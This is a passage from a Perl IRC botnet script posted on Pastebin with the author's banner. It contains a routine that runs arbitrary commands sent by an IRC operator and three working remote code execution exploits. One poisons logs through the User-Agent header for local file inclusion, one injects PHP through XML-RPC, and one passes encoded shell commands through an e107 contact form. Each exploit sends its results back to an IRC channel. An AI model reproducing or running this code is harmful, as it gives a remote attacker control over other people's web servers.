  1802.     $hdir =~ s/(.*)\/[^\/]*$/\1/;
  1803.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1804.     $host .= "/";
  1805.     $link .= "/";
  1806.     $hdir .= "/";
  1807.     $host =~ s/\/\//\//g;
  1808.     $hdir =~ s/\/\//\//g;
  1809.     $link =~ s/\/\//\//g;
  1810.     push(@list,$link,$host,$hdir);
  1811.     return @list;
  1812. }
  1813.  
  1814. sub search_engine_query() {
  1815.     my $url = $_[0];
  1816.     $url =~ s/http:\/\///;
  1817.     my $host = $url;
  1818.     my $query = $url;
  1819.     my $page  = "";
  1820.     $host =~ s/href=\"?http:\/\///;
  1821.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1822.     $query =~ s/$host//;
  1823.     if ($query eq "") { $query = "/"; }
  1824.         eval {
  1825.             my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  1826.             my $sget = "GET $query HTTP/1.0\r\n";
  1827.             $sget .= "Host: $host\r\n";
  1828.             $sget .= "Accept: */*\r\n";
  1829.             $sget .= "User-Agent: $uagent\r\n";
  1830.             $sget .= "Connetion: Close\r\n\r\n";
  1831.             print $sock $sget;
  1832.             my @pages = <$sock>;
  1833.             $page = "@pages";
  1834.             close($sock);
  1835.         };
  1836.     return $page;
  1837. }
  1838.  
  1839. #########################################
  1840.  
  1841. sub shell() {
  1842.     my $path = $_[0];
  1843.     my $cmd = $_[1];
  1844.     if ($cmd =~ /cd (.*)/) {
  1845.         chdir("$1") || &msg("$path","No such file or directory");
  1846.         return;
  1847.     }
  1848.     elsif ($pid = fork) { waitpid($pid, 0); }
  1849.     else { if (fork) { exit; } else {
  1850.         my @output = `$cmd 2>&1 3>&1`;
  1851.         my $c = 0;
  1852.         foreach my $output (@output) {
  1853.             $c++;
  1854.             chop $output;
  1855.             &msg("$path","$output");
  1856.             if ($c == 5) { $c = 0; sleep 3; }
  1857.         }
  1858.         exit;
  1859.     }}
  1860. }
  1861.  
  1862. sub isAdmin() {
  1863.     my $status = 0;
  1864.     my $nick = $_[0];
  1865.     if ($nick eq $admin) { $status = 1; }
  1866.     return $status;
  1867. }
  1868.  
  1869. sub msg() {
  1870.     return unless $#_ == 1;
  1871.     sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  1872. }
  1873.  
  1874. sub nick() {
  1875.     return unless $#_ == 0;
  1876.     sendraw("NICK $_[0]");
  1877. }
  1878. sub notice() {
  1879.     return unless $#_ == 1;
  1880.     sendraw("NOTICE $_[0] :$_[1]");
  1881. }
  1882.  
  1883. sub cmdlfi() {
  1884. my $browser = LWP::UserAgent->new;
  1885. my $url  = $_[0];
  1886. my $cmd  = $_[1];
  1887. my $chan = $_[2];
  1888. my $hie = "lobex<?system(\"$cmd 2> /dev/stdout\"); ?>byroe";
  1889. $browser->agent("$hie");
  1890. $browser->timeout(7);
  1891. $response = $browser->get( $url );
  1892. if ($response->content =~ /lobex(.*)byroe/s) {
  1893. &msg("$chan","$lfilogo9 ".$1." ");
  1894. } else {
  1895. &msg("$chan","$lfilogo15 No Output ");
  1896. }
  1897. }
  1898.  
  1899. sub cmdxml() {
  1900. my $jed  = $_[0];
  1901. my $dwa  = $_[1];
  1902. my $chan = $_[2];
  1903. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  1904.         $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1905.         $exploit .= "<methodName>test.method</methodName>";
  1906.         $exploit .= "<params><param><value><name>',''));";
  1907.         $exploit .= "echo'bamby';system('".$dwa."');echo'solo';exit;/*</name></value></param></params></methodCall>";
  1908. my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit);
  1909. if ($response->content =~ /bamby(.*)solo/s) {
  1910. &msg("$chan","$xmllogo9 $1 ");
  1911. } else {
  1912. &msg("$chan","$xmllogo15 No Output ");
  1913. }
  1914. }
  1915.  
  1916. sub cmde107() {
  1917. my $path  = $_[0];
  1918. my $code = $_[1];
  1919. my $chan  = $_[2];
  1920. my $codecmd = encode_base64($code);
  1921. my $cmd = 'echo(base64_decode("QmFNYlk=").shell_exec(base64_decode("aWQ=")).base64_decode("Qnlyb2VOZXQ=")).shell_exec(base64_decode("'.$codecmd.'"));';
  1922.     my $req = HTTP::Request->new(POST => $path);
  1923.     $req->content_type('application/x-www-form-urlencoded');
  1924.     $req->content("send-contactus=1&author_name=%5Bphp%5D".$cmd."%3Bdie%28%29%3B%5B%2Fphp%5D");
  1925.     my $ua = LWP::UserAgent->new(agent => $uagent);
  1926.     $ua->timeout(7);
  1927.     my $res = $ua->request($req);
  1928. my $data = $res->as_string;
  1929. if ( $data =~ /ByroeNet(.*)/ ){
  1930.      $mydata = $1;
  1931. &msg("$chan","0,1(0E1070)4 $mydata");
  1932. }
  1933. else { &msg("$chan","0,1(0E1070)4 No Output"); }
  1934. }
  1935.  
  1936. ########################################################################################################################
  1937.  
  1938.         https://www.facebook.com/Dr.FarFar
  1939.         http://Dr-FarFar.BlogSpot.com/
  1940.  
  1941.         ________         __________                __________                
  1942.         ___  __ \___________  ____/______ ____________  ____/______ _________
  1943.         __  / / /__  ___/__  /_    _  __ `/__  ___/__  /_    _  __ `/__  ___/
  1944.         _  /_/ / _  /___ _  __/    / /_/ / _  /    _  __/    / /_/ / _  /    
  1945.         /_____/  /_/ _(_)/_/       \__,_/  /_/     /_/       \__,_/  /_/    
  1946.                                                                              
  1947.                              ~\ Dr.FarFar /~
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!